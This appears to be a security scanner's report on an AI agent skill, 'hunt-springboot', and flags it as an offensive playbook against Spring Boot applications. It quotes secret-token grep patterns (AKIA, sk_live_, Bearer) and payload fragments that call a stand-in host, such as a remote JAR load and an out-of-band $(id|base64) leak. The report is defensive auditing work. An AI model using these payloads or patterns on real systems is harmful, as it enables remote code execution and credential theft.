hunt-springboot

HIGH W007: Insecure credential handling detected in skill instructions.

• Insecure credential handling detected (high risk: 1.00). The skill explicitly instructs downloading actuator/env/heapdump and grepping for passwords, API keys and bearer tokens (e.g., AKIA, sk_live_, Bearer), which requires the agent to surface secret values verbatim in output — a direct exfiltration risk.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). This content is an explicit offensive playbook that instructs credential exfiltration, remote code execution, and webshell/backdoor deployment against Spring Boot applications — intentionally malicious.

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

• Third-party content exposure detected (low risk: 0.10). The skill’s required runtime workflow only describes a human/attacker-driven curl-based probing of a target’s own HTTP endpoints (e.g., /actuator/*, /jolokia, /h2-console, and injection request bodies) and does not ingest outsider-authored free text from any queue/feed/inbox that the agent passively monitors or reads before selecting an item.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The skill includes runtime exploit payloads that instruct the target to fetch and execute remote content (e.g., jar:http://COLLAB_HOST/test.jar!/ which will cause the target to load a remote JAR, and COLLAB_HOST/spel-$(id|base64) and COLLAB_HOST/spel-rce used as OOB/payload URLs), so external URLs are required at runtime to trigger remote code execution.